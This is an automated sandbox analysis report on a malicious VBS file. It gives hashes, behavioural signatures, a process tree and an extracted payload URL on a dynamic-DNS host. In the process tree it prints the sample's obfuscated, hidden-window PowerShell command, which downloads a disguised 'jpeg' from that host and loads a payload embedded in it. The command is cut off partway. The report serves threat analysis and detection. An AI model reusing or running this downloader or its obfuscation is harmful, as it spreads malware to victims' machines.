Analysis
-
max time kernel
55s -
max time network
60s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
13-08-2024 14:41
Static task
static1
Behavioral task
behavioral1
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win10v2004-20240802-en
Behavioral task
behavioral4
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win11-20240802-en
General
-
Target
buttersmoothkitchenapparealssilk.vbs
-
Size
113KB
-
MD5
76326ac1e6d011a8ebcba393ae837027
-
SHA1
7522980c1732232015f991e0acde8317662430a2
-
SHA256
898a32ace081284c9ac01b3a33a3b000abab7f4e207a6f8e1a7ae213e1e3cdf5
-
SHA512
829a7a45944a055ca9723e835319b1c919eb895c720c38040154aaf836184aea33a849e71f1b4a7cd9f191265f4cc0809de7ddc53a5cbd3c9b8eaf989e138e99
-
SSDEEP
1536:MkLcccOgt5pzwUGw3VUJW4Wrle/PhG+/kery+bG8:Xgt5pVGw3dS7b
Malware Config
Extracted
http://servidorwindows.ddns.com.br/Files/vbs.jpeg
http://servidorwindows.ddns.com.br/Files/vbs.jpeg
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid Process 5 2988 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 2980 powershell.exe 2988 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid Process 2980 powershell.exe 2988 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2980 powershell.exe Token: SeDebugPrivilege 2988 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
WScript.exepowershell.exedescription pid Process procid_target PID 1220 wrote to memory of 2980 1220 WScript.exe 30 PID 1220 wrote to memory of 2980 1220 WScript.exe 30 PID 1220 wrote to memory of 2980 1220 WScript.exe 30 PID 2980 wrote to memory of 2988 2980 powershell.exe 32 PID 2980 wrote to memory of 2988 2980 powershell.exe 32 PID 2980 wrote to memory of 2988 2980 powershell.exe 32
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\buttersmoothkitchenapparealssilk.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑LwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cgB2⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑dwBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bu⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑LgBj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑cg⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YgBz⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑agBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑ZQBi⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bgB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB3⫮ ≵ ₪ ㊎ ㆑C0⫮ ≵ ₪ ㊎ ㆑TwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑VwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgB5⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑ew⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑dwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBE⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dwBu⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑R⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQ⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑aw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑fQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BX⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑aQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LQBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑JwBG⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bwB3⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bm⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑ZwBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBu⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑ZQBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑UwB5⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑LgBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑RQBu⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑bwBk⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑Og⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑FU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Dg⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cgB0⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑8⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑QgBB⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑RQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑XwBT⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑QQBS⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑+⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑RgBs⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑P⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑UwBF⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑Bf⫮ ≵ ₪ ㊎ ㆑EU⫮ ≵ ₪ ㊎ ㆑TgBE⫮ ≵ ₪ ㊎ ㆑D4⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑BP⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑aQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑ZwBl⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑TwBm⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Zg⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑w⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑r⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑YgBh⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑ZQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑T⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑ZwB0⫮ ≵ ₪ ㊎ ㆑Gg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑YQBz⫮ ≵ ₪ ㊎ 